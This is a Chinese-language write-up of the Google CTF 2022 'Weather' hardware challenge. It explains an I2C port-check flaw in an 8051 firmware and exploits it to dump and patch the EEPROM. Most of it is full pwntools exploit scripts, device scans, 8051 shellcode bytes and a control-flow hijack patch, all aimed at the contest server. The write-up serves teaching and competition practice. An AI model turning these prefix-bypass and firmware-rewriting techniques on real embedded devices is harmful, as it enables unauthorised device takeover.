Google CTF 2022 Quals Hardware 8051 Pwn: Weather

题目为采用8051模拟器运行的交互式程序,交互命令可以读写I2C总线设备。漏洞点为其对I2C总线设备号校验不严格,导致可以通过交互式命令行读写到挂接在I2C总线上的,并存储着8051程序代码的EEPROM。而flag位于8051可以访问的特殊寄存器中,因此通过对EEPROM的非法写即可写入shellcode并完成控制流劫持。不过由于EEPROM物理特性,通过I2C总线对其写入只能按bit将1写为0,但这现象似乎违背EEPROM可重复擦写的特征,其实其擦写的方法为通过对其引脚的一系列电平操作,使得整块EEPROM全部bit归1,然后按bit将1写0,这个操作在现实中一般使用编程器对EEPROM单独操作,在8051的shellcode中无法完成,本模拟器也将本物理特性如实模拟。因此对于本题中控制流劫持的位置以及shellcode写入位置都有额外的限制,需要针对题目固件选择特定的位置进行写入。

参考WP:

硬件

通过阅读pdf可以知道硬件结构:

  • I2C总线上挂着5个传感器
  • 可以通过串口进行输入输出
  • 主存储器型号为CTF-55930D,SPI接口的EEPROM,大小为4096字节
  • flag存储在FlagROM上

其中比较可疑的是这个EEPROM支持I2C接口,那他到底有没有挂在8051的I2C控制器上呢?

image

软件

软件上给的代码只有firmware.c,不过8051的C代码,还是有以下方面需要说明

源码

8051的C代码里有两个语法比较奇怪,分别是:

  • __sfr __at()
  • __xdata

特殊功能寄存器

其一为__sfr

这似乎是外设IO的控制方法,即读写特定寄存器访问IO,类似x86的in/out端口:

// Secret ROM controller.
__sfr __at(0xee) FLAGROM_ADDR;
__sfr __at(0xef) FLAGROM_DATA;

// Serial controller.
__sfr __at(0xf2) SERIAL_OUT_DATA;
__sfr __at(0xf3) SERIAL_OUT_READY;
__sfr __at(0xfa) SERIAL_IN_DATA;
__sfr __at(0xfb) SERIAL_IN_READY;

// I2C DMA controller.
__sfr __at(0xe1) I2C_STATUS;
__sfr __at(0xe2) I2C_BUFFER_XRAM_LOW;
__sfr __at(0xe3) I2C_BUFFER_XRAM_HIGH;
__sfr __at(0xe4) I2C_BUFFER_SIZE;
__sfr __at(0xe6) I2C_ADDRESS;  // 7-bit address
__sfr __at(0xe7) I2C_READ_WRITE;

// Power controller.
__sfr __at(0xff) POWEROFF;
__sfr __at(0xfe) POWERSAVE;

使用的时候也就是对目标寄存器进行读写,比如串口:

void serial_print(const char *s) {
  while (*s) {
    while (!SERIAL_OUT_READY) {
      // Busy wait...
    }

    SERIAL_OUT_DATA = *s++;
  }
}

char serial_read_char(void) {
  while (1) {
    if (SERIAL_IN_READY) {
      return (char)SERIAL_IN_DATA;
    }

    POWERSAVE = 1;  // Enter power save mode for a few milliseconds.
  }
}

并且可见存储flag的内部ROM的读取也是通过sfr:

__sfr __at(0xee) FLAGROM_ADDR;
__sfr __at(0xef) FLAGROM_DATA;

因此最后读取flag的方法,应该就是向FLAGROM_ADDR写入读取flag的偏移,然后从FLAGROM_DATA逐个字节读出flag,大概逻辑如下:

char flag[256] = {0} ;

for(int i=0; i<255; i++){
    FLAGROM_ADDR = i;
    flag[i] = FLAGROM_DATA;
}

结合串口输出的逻辑:

char a;
for(int i=0; i<255; i++){
    FLAGROM_ADDR = i;
    a = FLAGROM_DATA;
    SERIAL_OUT_DATA = a;
}

8051内存类型

还有一个是__xdata关键字:

其实就是内部RAM太小,只有128字节,而需要使用的buffer较大,有384字节,所以使用__xdata关键字将其放到较大的外部RAM上:

#define CMD_BUF_SZ 384
#define I2C_BUF_SZ 128
int main(void) {
  serial_print("Weather Station\n");

  static __xdata char cmd[CMD_BUF_SZ];
  static __xdata uint8_t i2c_buf[I2C_BUF_SZ];

编译

找到编译工具:SDCC - Small Device C Compiler,还直接提供MAC版的二进制,尝试编译题目代码还真成功了:

  ls
Device Datasheet Snippets.pdf firmware.c
  ../sdcc/bin/sdcc ./firmware.c 
  ls
Device Datasheet Snippets.pdf firmware.lk                   firmware.rel
firmware.asm                  firmware.lst                  firmware.rst
firmware.c                    firmware.map                  firmware.sym
firmware.ihx                  firmware.mem

虽然没编译出ELF,但其中:

  • firmware.ihx: 可在IDA中进行逆向
  • firmware.map: 固件代码函数符号表
  • firmware.rst: 源码与汇编对应关系

而且其实__sfr __at()是就是SDCC特有语法,keil里定义SFR寄存器的语法是:

sfr P0   = 0x80;
sfr P1   = 0x90;

逆向

通过对ihx逆向以及汇编,了解8051的机器码以及内存布局,也可以对特殊功能寄存器有更深刻的理解。在IDA的segments窗口中可以看到其识别出三段:

  • code段比较大
  • RAM和FSR(SFR,特殊功能寄存器)都只有128字节
  • 其实FSR也可以不看成内存,就看成寄存器就行了

image

对比IDA解析ihx的结果与firmware.rst可以确定0x3地址处的跳转就是跳向main函数,即IE0_0就是main函数:

image

在main函数中可以看到0x916指向的内存就是字符串Weather Station,因此code_123函数就是串口输出函数serial_print,并且通过这两句汇编与其对应的机器码可见,8051的汇编使用绝对地址是很常见的,对于没有什么地址随机化的内存,这无疑对shellcode是极好的:

  • 12 01 23: lcall code_123:
  • 90 09 16: mov DPTR, #0x916

image

我们关注一下SFR(特殊功能寄存器),因为在serial_print中最终通过__sfr __at(0xf2) SERIAL_OUT_DATA将数据输出:

__sfr __at(0xf2) SERIAL_OUT_DATA;
void serial_print(const char *s) {
  while (*s) {
    while (!SERIAL_OUT_READY) {
      // Busy wait...
    }

    SERIAL_OUT_DATA = *s++;
  }
}

我们来关注一下这段最终的汇编,如下,通过对0xf2特征的定位,可以确定 0xf5 0xf2: MOV CML6,A 这句为向0xf2这个特殊功能寄存器写入,其值由A寄存器传递:

image

更多8051二进制相关可以参考:

交互

通过阅读源码以及直接与服务器进行交互测试,可以了解其交互功能为读写I2C设备,读写命令分别为:

  • 读:r I2C_port size
  • 写:w I2C_port size byte byte byte byte ...

例如读温度传感器:

  nc weather.2022.ctfcompetition.com 1337
== proof-of-work: disabled ==
Weather Station
? r 101 8
i2c status: transaction completed / ready
22 22 21 35 0 0 0 0 
-end

写温度传感器,不过因为是传感器,应该是只读的,所以写入失败:

? w 101 8 1 1 1 1 1 1 1 1 
i2c status: transaction completed / ready
? r 101 8
i2c status: transaction completed / ready
22 22 21 35 0 0 0 0 

漏洞

可以在源码中发现,对于I2C的port是有函数进行检查的,仔细审计发现这个检查有个bug,即端口前缀匹配即可跳出检查循环,例如101端口是允许的,则101221端口也可以通过此函数的检查:

bool is_port_allowed(const char *port) {
  for(const char **allowed = ALLOWED_I2C; *allowed; allowed++) {
    const char *pa = *allowed;
    const char *pb = port;
    bool allowed = true;
    while (*pa && *pb) {
      if (*pa++ != *pb++) {
        allowed = false;
        break;
      }
    }
    if (allowed && *pa == '\0') {
      return true;
    }
  }
  return false;
}

然后经过检查的字符串通过str_to_uint8函数转换为一个单字节数,可以看成对这个数进行模256的操作:

uint8_t str_to_uint8(const char *s) {
  uint8_t v = 0;
  while (*s) {
    uint8_t digit = *s++ - '0';
    if (digit >= 10) {
      return 0;
    }
    v = v * 10 + digit;
  }
  return v;
}

仍然以101221为例,那么转换完为101221 % 256还是101,和远程进行测试,可见101221和101的效果是一样的,因此应该可以使用这个方法访问到所有的I2C设备:

   nc weather.2022.ctfcompetition.com 1337
== proof-of-work: disabled ==
Weather Station
? r 101 8
i2c status: transaction completed / ready
22 22 21 35 0 0 0 0 
-end

? r 101221 8    
i2c status: transaction completed / ready
22 22 21 35 0 0 0 0 
-end

另外为了方便,我们也可以找到以101开头并且%256为0的数:101120,然后从此数开始递增进行端口爆破扫描:

>>> 101000 % 256
136
>>> 101000 + (256 - 136)
101120
>>> 101120 % 256
0

>>> 101120 + 101
101221

利用

能读写所有I2C设备又能怎样呢?如果EEPROM也可以通过I2C访问呢?那岂不是可以修改固件代码进行控制流劫持了!

扫描I2C设备

代码中的I2C端口是个单字节整数,因此最多只有256个端口,不过I2C总线最大支持的设备是128个:

image

所以爆破扫描可以只循环128次:

from pwn import *

'''
>>> 101000 % 256
136
>>> 101000 + (256 - 136)
101120
>>> 101120 % 256
0
'''

def scan():
    io = remote("weather.2022.ctfcompetition.com",1337)
    for i in range(128):
        test = 101120 + i
        io.sendlineafter(b'?',("r %s 4" % test).encode())
        a = io.recvuntil(b"?")
        if b'device not found' not in a:
            print("[+] %s: %s " % (str(test),str(i)))
            print(a)
            
scan()

发现通过101153绕过检查实际为33号的I2C port可以访问:

  python3 exp.py
[+] Opening connection to weather.2022.ctfcompetition.com on port 1337: Done
[+] 101153: 33 
b' i2c status: transaction completed / ready\n2 0 6 2 \n-end\n?'
[+] 101221: 101 
b' i2c status: transaction completed / ready\n22 22 21 35 \n-end\n?'
[+] 101228: 108 
b' i2c status: transaction completed / ready\n3 249 0 0 \n-end\n?'
[+] 101230: 110 
b' i2c status: transaction completed / ready\n78 0 0 0 \n-end\n?'
[+] 101231: 111 
b' i2c status: transaction completed / ready\n81 0 0 0 \n-end\n?'
[+] 101239: 119 
b' i2c status: transaction completed / ready\n37 0 0 0 \n-end\n?'

尝试读取,通过逆向自己编译的ihx对比可以确定这就是8051的二进制:

  nc weather.2022.ctfcompetition.com 1337
== proof-of-work: disabled ==
Weather Station
? r 101153 64
i2c status: transaction completed / ready
2 0 6 2 4 228 117 129 48 18 8 134 229 130 96 3
2 0 3 121 0 233 68 0 96 27 122 0 144 10 2 120
1 117 160 2 228 147 242 163 8 184 0 2 5 160 217 244
218 242 117 160 255 228 120 255 246 216 253 120 0 232 68 0 

即EEPROM也确实挂接到8051的I2C控制器上了,因此我们可以尝试读写EEPROM!

读EEPROM

不过通过r命令最多一次只能读64字节,根据硬件手册这应该是EEPROM的一页,目标EEPROM总共64页,所以需要切换页,通过尝试发现,切换页的方式为通过w命令:

w 101153 1 page

例如首先读第0页的前四字节:

  nc weather.2022.ctfcompetition.com 1337
? w 101153 1 0
i2c status: transaction completed / ready
? r 101153 4
i2c status: transaction completed / ready
2 0 6 2 
-end

然后切换为第1页,读前四字节,可读到与之前不同的结果:

? w 101153 1 1
i2c status: transaction completed / ready
?  r 101153 4
i2c status: transaction completed / ready
96 10 121 1 

利用此方法,并将读取到的数值转换为对应字节,即可dump远程的固件:

from pwn import *

def dump():
    f = open('firmware.bin','wb')
    io = remote("weather.2022.ctfcompetition.com",1337)
    for i in range(64):
        print("[+] page: %s" % str(i))
        io.sendlineafter(b'?',("w 101153 1 %s" % str(i)).encode())
        io.sendlineafter(b'?',b"r 101153 64")
        a = io.recvuntil(b"?")[43:-8]
        a = a.replace(b"\n",b" ")
        a = a.decode('utf-8').split(' ')
        print(a)
        assert(len(a)==64)
        for j in a:
            f.write(int(j,10).to_bytes(1,'little'))

dump()

然后使用IDA解析固件,由于没有ihx中的地址信息,需要手动指定指令集为8051,加载地址为0地址,最终得到的结果与IDA解析本地编译的ihx基本一致。

写EEPROM

他这个EEPROM的写就非常的麻烦了,因为他这个模拟的非常真实,把真实EEPROM的物理特性也如实模拟了。即对其写入只能按bit将1写为0,已经被写成0bit的就回不去了。在现实中需要对EEPROM的引脚进行一系列电平操作,即可使其全部bit归1。不过整个固件从0xa02-0xfff地址处全为0xff,因此这段空间可以写入任意数据,也是写入shellcode的最佳位置:

image

其写入的命令也有些麻烦,首先在数据之前需要加上4ByteWriteKey A5 5A A5 5A,十进制为165 90 165 90。另外根据手册,写入的bit为ClearMask,是清0。例如想写入0,则需要把原来的0xff的8个bit全部清零,即11111111,所以写入的数据是目标数据取反,也可以看成255减目标数据。而且经过尝试,在命令行中需要填入十进制,例如255,不能填写如11111111的二进制字符串(ClearMask的误导),最终命令如下:

w 101153 size page 165 90 165 90 (255-byte) (255-byte) (255-byte) ...

例如将0xb00(0xb00 // 64 = 44)地址的0xff 0xff 0xff 0xff 写为 11 22 33 44 :

size可以一直写大一点,例如100:

   nc weather.2022.ctfcompetition.com 1337
== proof-of-work: disabled ==
Weather Station
? w 101153 1 44
i2c status: transaction completed / ready
? r 101153 4
i2c status: transaction completed / ready
255 255 255 255 

? w 101153 100 44 165 90 165 90 244 233 222 211   
i2c status: transaction completed / ready
? r 101153 4
i2c status: transaction completed / ready
11 22 33 44 

控制流劫持

由于shellcode未来将会放在0xa02-0xfff之间,所以我们需要在可运行到代码中patch出一句跳转进行控制流劫持,通过逆向可以发现主要有两种绝对地址的跳转:

  • 02 xx xx: ljmp
  • 12 xx xx: lcall

结合shellcode的地址,最终的跳转应为:

  • 02 0[a-f] xx: ljmp
  • 12 0[a-f] xx: lcall

并且根据写入只能讲1bit写成0bit的约束,找了好久,最终决定在打印命令行提示符问号的这里进行patch,23可以patch成02,7E可以patch成0E,即可完成长跳转到0xe00:

image

8051的nop为0x00,所以可以将开头的12 01清成两个nop:

12 01 23 7E -> 00 00 02 0E

image

因此首先在0xe00处写好shellcode,然后patch这句进行控制流劫持即可

shellcode

shellcode基本就是设置FLAGROM_ADDR然后读取FLAGROM_DATA,并输出到SERIAL_OUT_DATA,可以使用C进行编译然后扣出shellcode:

__sfr __at(0xee) FLAGROM_ADDR;
__sfr __at(0xef) FLAGROM_DATA;
__sfr __at(0xf2) SERIAL_OUT_DATA;

void main(void) {
  for(int i=0; i<255; i++){
      FLAGROM_ADDR = i;
      SERIAL_OUT_DATA = FLAGROM_DATA;
  }
}
➜  ../sdcc/bin/sdcc ./test.c 

因为操作很简单,也可以直接写汇编:

__sfr __at(0xee) FLAGROM_ADDR;
__sfr __at(0xef) FLAGROM_DATA;
__sfr __at(0xf2) SERIAL_OUT_DATA;

void main(void) {

  __asm
    mov  A, #0
    mov  _FLAGROM_ADDR, A
    mov  A, _FLAGROM_DATA
    mov  _SERIAL_OUT_DATA, A
  __endasm;

}
➜  ../sdcc/bin/sdcc ./test.c 

所以也可以直接对着汇编写机器码:

为了shellcode简单,开始没用循环,直接使用立即数给FLAGROM_ADDR赋值,这样使得一页64个字节能容纳的shellcode只能进行8次打印,因此在整个交互外面加了个循环,交互五次可以完成打印出flag:

from pwn import *

'''
__sfr __at(0xee) FLAGROM_ADDR;
__sfr __at(0xef) FLAGROM_DATA;
'''

flag = ''

for k in range(5):
    io = remote("weather.2022.ctfcompetition.com",1337)

    shellcode = []
    for j in range(k*8,(k+1)*8,1):
        shellcode += [0x74, j]    # mov  A, j
        shellcode += [0xf5, 0xee] # mov  FLAGROM_ADDR, A
        shellcode += [0xe5, 0xef] # mov  A,FLAGROM_DATA
        shellcode += [0xf5, 0xf2] # mov  CML6, A

    s = ''
    for i in shellcode:
        s += str(255 - i) + ' '
   
    print(s)

    # write shellcode to 0x0e00 (0x0e00 // 64 = 56)
    io.sendlineafter(b"?",b'w 101153 100 56 165 90 165 90 ' + s.encode()) 
    
    # patch 0x4F3 (0x4F3 // 64 = 19 , 0x4F3 % 64 = 51):
    # 12 01 23 7e -> 00 00 02 0e
    io.sendlineafter(b"?",b'w 101153 100 19 165 90 165 90 ' + b'0 '* 51 + b'255 255 253 241')
    io.recvline()
    flag += io.recvuntil(b'Station').decode('utf-8')[:8]
    io.close()
    print(flag)
    
# CTF{DoesAnyoneEvenReadFlagsAnymore?}

完整exp

完整exp如下:

from pwn import *

'''
>>> 101000 % 256
136
>>> 101000 + (256 - 136)
101120
>>> 101120 % 256
0
'''

def scan():
    io = remote("weather.2022.ctfcompetition.com",1337)
    io.recvuntil(b"?")
    for i in range(128):
        test = 101120 + i
        io.sendline(("r %s 4" % test).encode())
        a = io.recvuntil(b"?")
        if b'device not found' not in a:
            print("[+] %s: %s " % (str(test),str(i)))
            print(a)
            
#scan()
    
'''
➜  python3 exp.py
[+] Opening connection to weather.2022.ctfcompetition.com on port 1337: Done
[+] 101153: 33 
b' i2c status: transaction completed / ready\n2 0 6 2 \n-end\n?'
[+] 101221: 101 
b' i2c status: transaction completed / ready\n22 22 21 35 \n-end\n?'
[+] 101228: 108 
b' i2c status: transaction completed / ready\n3 249 0 0 \n-end\n?'
[+] 101230: 110 
b' i2c status: transaction completed / ready\n78 0 0 0 \n-end\n?'
[+] 101231: 111 
b' i2c status: transaction completed / ready\n81 0 0 0 \n-end\n?'
[+] 101239: 119 
b' i2c status: transaction completed / ready\n37 0 0 0 \n-end\n?'
'''

def dump():
    f = open('firmware.bin','wb')
    io = remote("weather.2022.ctfcompetition.com",1337)
    io.recvuntil(b"?")
    for i in range(64):
        print("[+] page: %s" % str(i))
        io.sendline(("w 101153 1 %s" % str(i)).encode())
        io.sendlineafter(b'?',b"r 101153 64")
        a = io.recvuntil(b"?")[43:-8]
        a = a.replace(b"\n",b" ")
        a = a.decode('utf-8').split(' ')
        print(a)
        assert(len(a)==64)
        for j in a:
            f.write(int(j,10).to_bytes(1,'little'))

#dump()

'''
__sfr __at(0xee) FLAGROM_ADDR;
__sfr __at(0xef) FLAGROM_DATA;
'''

flag = ''

for k in range(5):
    io = remote("weather.2022.ctfcompetition.com",1337)

    shellcode = []
    for j in range(k*8,(k+1)*8,1):
        shellcode += [0x74, j]    # mov  A, j
        shellcode += [0xf5, 0xee] # mov  FLAGROM_ADDR, A
        shellcode += [0xe5, 0xef] # mov  A,FLAGROM_DATA
        shellcode += [0xf5, 0xf2] # mov  CML6, A

    s = ''
    for i in shellcode:
        s += str(255 - i) + ' '
   
    print(s)

    # write shellcode to 0x0e00 (0x0e00 // 64 = 56)
    io.sendlineafter(b"?",b'w 101153 100 56 165 90 165 90 ' + s.encode()) 
    
    # patch 0x4F3 (0x4F3 // 64 = 19 , 0x4F3 % 64 = 51):
    # 12 01 23 7e -> 00 00 02 0e
    io.sendlineafter(b"?",b'w 101153 100 19 165 90 165 90 ' + b'0 '* 51 + b'255 255 253 241')
    io.recvline()
    flag += io.recvuntil(b'Station').decode('utf-8')[:8]
    io.close()
    print(flag)
    

# CTF{DoesAnyoneEvenReadFlagsAnymore?}

优化

在shellcode使用循环,即可一次打印出完整flag:

from pwn import *

io = remote("weather.2022.ctfcompetition.com",1337)

shellcode  = []
shellcode += [0x7f, 0x00]       # MOV  R7, 0
shellcode += [0xef, 0x00]       # MOV  A, R7
shellcode += [0xf5, 0xee]       # MOV  FLAGROM_ADDR (0xEE), A
shellcode += [0xe5, 0xef]       # MOV  A, FLAGROM_DATA (0xEF)
shellcode += [0xf5, 0xf2]       # MOV  CML6, A
shellcode += [0x0f]             # INC  R7
shellcode += [0x02, 0x0e, 0x02] # JMP  0x0e02

payload = ''
for i in shellcode:
    payload += str(255 - i) + ' '

print(payload)

# write shellcode to 0x0e00 (0x0e00 // 64 = 56)
io.sendlineafter(b"?",b'w 101153 100 56 165 90 165 90 ' + payload.encode()) 

# patch 0x4F3 (0x4F3 // 64 = 19 , 0x4F3 % 64 = 51): 12 01 23 7e -> 00 00 02 0e 
# payload: 255-0 255-0 255-2 255-0xe -> 255 255 253 241
io.sendlineafter(b"?",b'w 101153 100 19 165 90 165 90 ' + b'0 '* 51 + b'255 255 253 241')

a = io.recvline()
a = io.recvline()
print(a.decode('utf-8'))